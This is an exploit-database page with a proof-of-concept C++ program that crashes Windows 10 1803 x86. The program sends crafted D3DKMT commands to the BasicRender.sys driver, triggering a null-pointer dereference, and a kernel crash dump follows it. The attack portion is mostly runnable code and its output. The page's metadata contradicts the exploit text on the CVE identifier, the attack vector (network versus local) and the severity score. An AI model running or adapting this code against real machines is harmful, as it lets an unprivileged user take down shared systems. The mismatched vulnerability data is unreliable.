Exploitalert - Database of Exploits

Microsoft Windows 10 BasicRender.sys Denial Of Service

CVE	Category	Price	Severity
CVE-2021-31932	CWE-165	Not specified	High

Author	Risk	Exploitation Type	Date
Unknown	High	Local	2019-12-24

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019120093

Microsoft Windows 10 BasicRender.sys Denial Of Service

# Exploit Title: Microsoft Windows 10 BasicRender.sys - Denial of Service (PoC) # Date: 2019-12-20 # Exploit author: vportal # Vendor homepage: http://www.microsoft.com # Version: Windows 10 1803 x86 # Tested on: Windows 10 1803 x86 # CVE: N/A # A Null pointer deference exists in the WARPGPUCMDSYNC function of the # BasicRender.sys driver. An unprivileged user can trigger the vulnerability # to crash the system and deny the service to the rest of the users. *PoC:* #include <Windows.h> #include <d3dkmthk.h> D3DKMT_CREATEDEVICE* device = NULL; device = new D3DKMT_CREATEDEVICE(); D3DKMT_ENUMADAPTERS enumAdapter = { 0 }; D3DKMTEnumAdapters(&enumAdapter); device->hAdapter = enumAdapter.Adapters[1].hAdapter; logger(log_counter, "EnumAdapter"); D3DKMTCreateDevice(device); D3DKMT_CREATECONTEXTVIRTUAL* contextVirtual = NULL; contextVirtual = new D3DKMT_CREATECONTEXTVIRTUAL(); memset(contextVirtual, 0, sizeof(D3DKMT_CREATECONTEXTVIRTUAL)); contextVirtual->hDevice = device->hDevice; char data[0x200] = { 0 }; memset(data, 0xff, 0x200); contextVirtual->PrivateDriverDataSize = 0x200; contextVirtual->pPrivateDriverData = data; contextVirtual->ClientHint = D3DKMT_CLIENTHINT_DX10; contextVirtual->Flags.InitialData = 0x000001; contextVirtual->Flags.NullRendering = 0x0; D3DKMT_SUBMITCOMMAND* submitCommand = NULL; submitCommand = new D3DKMT_SUBMITCOMMAND(); submitCommand->BroadcastContext[0] = 0x40000240; for (int i = 0; i < 0x10; i++) submitCommand->WrittenPrimaries[i] = 0x0; submitCommand->PresentHistoryToken = 0x100; submitCommand->Commands = 0x004b39; submitCommand->CommandLength = 0x00000d; submitCommand->BroadcastContext[0] = contextVirtual->hContext; submitCommand->BroadcastContextCount = 0x1; submitCommand->Flags.PresentRedirected = 0x1; submitCommand->PrivateDriverDataSize = 0x130; char* PrivateData = NULL; PrivateData = new char[submitCommand->PrivateDriverDataSize]; memset(PrivateData, 0x00, submitCommand->PrivateDriverDataSize); *(DWORD*)(PrivateData + 0x118) = 0x434e5953; *(DWORD*)(PrivateData + 0x11c) = 0x18; *(DWORD*)(PrivateData + 0x120) = 0x000110; *(DWORD*)(PrivateData + 0x124) = 0x000420; *(DWORD*)(PrivateData + 0x128) = 0x0; *(DWORD*)(PrivateData + 0x12c) = 0x000428; submitCommand->pPrivateDriverData = PrivateData; D3DKMTSubmitCommand(submitCommand); -------------------------------------------------------------------------- *Crash dump*: STACK_TEXT: 8afae92c 8fe82cb2 8afae958 fffffffd 0000048c BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc 8afae94c 8fe8267d bb26afe8 00000000 bb26afe0 BasicRender!WARPKMCONTEXT::SubmitVirtual+0x4a 8afae9a8 8fca6af5 91e05000 bb26afe0 93dfc000 BasicRender!WarpKMSubmitCommandVirtual+0x87 8afae9fc 8fc2a934 8afaea68 8afaeac0 92b19db6 dxgkrnl!ADAPTER_RENDER::DdiSubmitCommandVirtual+0x115 8afaea08 92b19db6 90114c30 8afaea68 b78da008 dxgkrnl!ADAPTER_RENDER_DdiSubmitCommandVirtual+0x10 8afaeac0 92b4ac94 93dfc000 cd6ee008 cc6d8860 dxgmms2!VidSchiSendToExecutionQueue+0x526 8afaeb90 92b764a9 00000000 945f5a80 00000000 dxgmms2!VidSchiSubmitRenderVirtualCommand+0x534 8afaebb8 81ee80bc 93dfc000 28e5f697 00000000 dxgmms2!VidSchiWorkerThread+0x1a1 8afaebf0 81fe952d 92b76308 93dfc000 00000000 nt!PspSystemThreadStartup+0x4a 8afaebfc 00000000 00000000 bbbbbbbb bbbbbbbb nt!KiThreadStartup+0x15 eax=8afae958 ebx=00000000 ecx=00000000 edx=00000000 *esi*=00000000 edi=bb26afd8 eip=8fe8386c esp=8afae920 ebp=8afae92c iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc: 8fe8386c c7061060e88f mov dword ptr [esi],offset BasicRender!WARPGPUCMDSYNC::`vftable' (8fe86010) ds:0023:00000000=???????? Resetting default scope -------------------------------------------------------------------------------- The vulnerability has only been tested in Windows 10 x86 1803. CVSS Base Score: 5.5 Credit: Victor Portal

Impressum